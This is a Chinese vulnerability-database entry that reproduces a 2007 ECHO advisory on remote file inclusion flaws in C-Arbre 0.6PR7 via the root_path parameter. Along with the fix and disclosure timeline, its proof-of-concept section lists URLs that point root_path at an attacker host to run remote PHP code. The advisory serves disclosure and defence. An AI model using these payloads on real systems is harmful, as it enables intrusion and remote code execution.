C-Arbre 多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112553 漏洞类型 输入验证
发布时间 2007-03-26 更新时间 2007-03-29
CVE编号 CVE-2007-1721 CNNVD-ID CNNVD-200703-638
漏洞平台 PHP CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/3583
https://cxsecurity.com/issue/WLB-2007030188
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-638
|漏洞详情
C-Arbre0.6PR7及之前版本中存在多个PHP远程文件包含漏洞。远程攻击者可以借助提交到(1)Richtxt_functions.inc.php,(2)adddocfile.php,(3)auth_check.php,(4)browse_current_category.inc.php,(5)docfile_details.php,(6)main.php,(7)mainarticle.php,(8)maindocfile.php,(9)modify.php,(10)new.php,(11)resource_details.php,(12)smallsearch.php或(13)mwiki/LocalSettings.php的root_path参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_78$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : March, 26th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : C-Arbre  
version       : <= 0.6PR7
Vendor        : http://realink.org/
Download      : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz
Description :

C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS, 
a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,
a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.), 
automatic generation of a Web portal, and internationalization of the interface.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at lib/Richtxt_functions.inc.php :  
  	
----------------lib/Richtxt_functions.inc.php-------------------
<?php
//try to integrate the wikimedia engine functions
include_once("$root_path/include/Wikitxt_functions.inc.php");

...
----------------------------------------------------------------


Input passed to the "root_path" parameter in lib/Richtxt_functions.inc.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.

also affected files :
lib/adddocfile.php
lib/auth_check.php
lib/browse_current_category.inc.php
lib/docfile_details.php
lib/main.php
lib/mainarticle.php
lib/maindocfile.php
lib/modify.php
lib/new.php
lib/resource_details.php
lib/smallsearch.php
mwiki/LocalSettings.php


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil?
http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil?


Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals


Notification:
~~~~~~~
- 19-03-2007 bugs found
- 26-03-2007 vendor contacted
- 27-03-2007 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2007-03-26]
|参考资料

来源:MILW0RM
名称:3583
链接:http://www.milw0rm.com/exploits/3583
来源:MISC
链接:http://advisories.echo.or.id/adv/adv78-K-159-2007.txt
来源:XF
名称:carbre-rootpath-file-include(33238)
链接:http://xforce.iss.net/xforce/xfdb/33238
来源:BID
名称:23154
链接:http://www.securityfocus.com/bid/23154
来源:BUGTRAQ
名称:20070327[ECHO_ADV_78$2007]C-Arbre<=0.6PR7(root_path)RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/463925/100/0/threaded
来源:VUPEN
名称:ADV-2007-1119
链接:http://www.frsirt.com/english/advisories/2007/1119
来源:SREASON
名称:2491
链接:http://securityreason.com/securityalert/2491